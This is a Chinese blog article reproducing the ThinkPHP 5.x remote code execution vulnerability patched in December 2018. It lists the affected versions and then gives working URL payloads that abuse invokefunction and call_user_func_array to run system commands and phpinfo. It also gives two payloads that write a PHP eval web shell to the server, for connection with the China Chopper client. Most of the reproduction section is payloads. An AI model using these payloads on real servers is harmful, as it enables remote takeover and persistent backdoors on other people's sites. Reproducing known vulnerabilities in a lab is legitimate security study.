一、漏洞描述
2018年12月10日,ThinkPHP官方發(fā)布了安全更新,其中修復(fù)了ThinkPHP5框架的一個(gè)高危漏洞:
https://blog.thinkphp.cn/869075
漏洞的原因是由于框架對(duì)控制器名沒有進(jìn)行足夠的檢測(cè),導(dǎo)致在沒有開啟強(qiáng)制路由(默認(rèn)未開啟)的情況下可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行,受影響的版本包括5.0和5.1。
二、漏洞影響版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x=5.0.23
三、漏洞復(fù)現(xiàn)
1、官網(wǎng)下載Thinkphp 5.0.22,下載地址: http://www.thinkphp.cn/donate/download/id/1260.html
2、使用phpstudy搭建環(huán)境,解壓下載的Thinkphp5.0.22到網(wǎng)站目錄下,瀏覽器訪問http://192.168.10.171/thinkphp5.0.22/public
3、利用system函數(shù)遠(yuǎn)程命令執(zhí)行
Payload如下:
?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami
4、通過phpinfo函數(shù)查看phpinfo()的信息
Payload如下:
?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1
5、寫入shell
Payload如下:
?s=/index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=echo ^?php @eval($_POST[cmd]);?^> >shell.php
注意:需要對(duì)特殊字符使用^轉(zhuǎn)義(cmd環(huán)境下轉(zhuǎn)義方式),windows環(huán)境的echo命令輸出字符串到文檔不用引號(hào)(單引號(hào)、雙引號(hào)),部分字符url編碼不編碼都行。
6、查看是否成功寫入shell
7、菜刀連接
8、第二種的寫入shell的方法
Payload如下:
?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars[0]=file_put_contentsvars[1][]=../test.phpvars[1][]=?php @eval($_POST[test]);?>
9、查看是否成功寫入文件
10、菜刀連接
總結(jié)
以上所述是小編給大家介紹的ThinkPHP 5.x遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn),希望對(duì)大家有所幫助,如果大家有任何疑問請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
如果你覺得本文對(duì)你有幫助,歡迎轉(zhuǎn)載,煩請(qǐng)注明出處,謝謝!
您可能感興趣的文章:- ThinkPHP框架任意代碼執(zhí)行漏洞的利用及其修復(fù)方法
- 對(duì)于ThinkPHP框架早期版本的一個(gè)SQL注入漏洞詳細(xì)分析
- ThinkPHP的標(biāo)簽制作實(shí)例講解
- thinkphp的鉤子的兩種配置和兩種調(diào)用方法
- phpstudy的安裝及ThinkPHP框架的搭建圖文講解
- ThinkPHP6.0 重寫URL去掉Index.php的解決方法
- ThinkPHP6通過Ucenter實(shí)現(xiàn)注冊(cè)登錄的示例代碼
- Thinkphp5+Redis實(shí)現(xiàn)商品秒殺代碼實(shí)例講解
- 如何從防護(hù)角度看Thinkphp歷史漏洞